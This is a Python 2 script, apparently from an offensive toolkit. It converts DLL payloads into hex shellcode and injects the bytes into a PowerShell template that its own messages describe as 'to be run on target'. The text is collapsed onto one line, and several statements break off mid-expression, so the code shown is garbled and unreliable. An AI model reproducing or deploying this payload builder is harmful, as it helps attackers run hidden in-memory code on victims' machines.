import sys import base64 import binascii import struct import os import subprocess import shlex import zlib LINE_LENGTH = 300 def hexify_32(filename): try: f = open(filename, 'rb') data = f.read((1024 * 1024)) f.close() output = '' preamble = binascii.unhexlify('68') preamble += struct.pack(' (-1)): target_script.write(('[Byte[]] $Instructions32 = @(%s)\n' % shellcode)) else: target_script.write((line.strip() + '\n')) target_script.close() powershell_script.close() def make_64_script(input_file, output_script, base_script='ps_base.txt', arguments=1): target_script = open(output_script, 'w') print '[+] Creating shellcode file with fdloader' shellcode_file = create_64_shellcode(input_file, ordinal=arguments) print ('[+] Created %s shellcode file' % shellcode_file) shellcode = hexify_64(shellcode_file) print ('[+] Deleted %s' % shellcode_file) os.remove(shellcode_file) powershell_script = open(base_script, 'rb') print '[+] Creating Powershell script to be run on target' for line in powershell_script: if (line.find('[Byte[]] $Instructions64 = @()') > (-1)): target_script.write(('[Byte[]] $Instructions64 = @(%s)\n' % shellcode)) else: target_script.write((line.strip() + '\n')) target_script.close() powershell_script.close() def is_payload_64(filename): try: dll_file = open(filename, 'rb') dos_header = dll_file.read(64) (magic,) = struct.unpack('2s', dos_header[:2]) (offset,) = struct.unpack('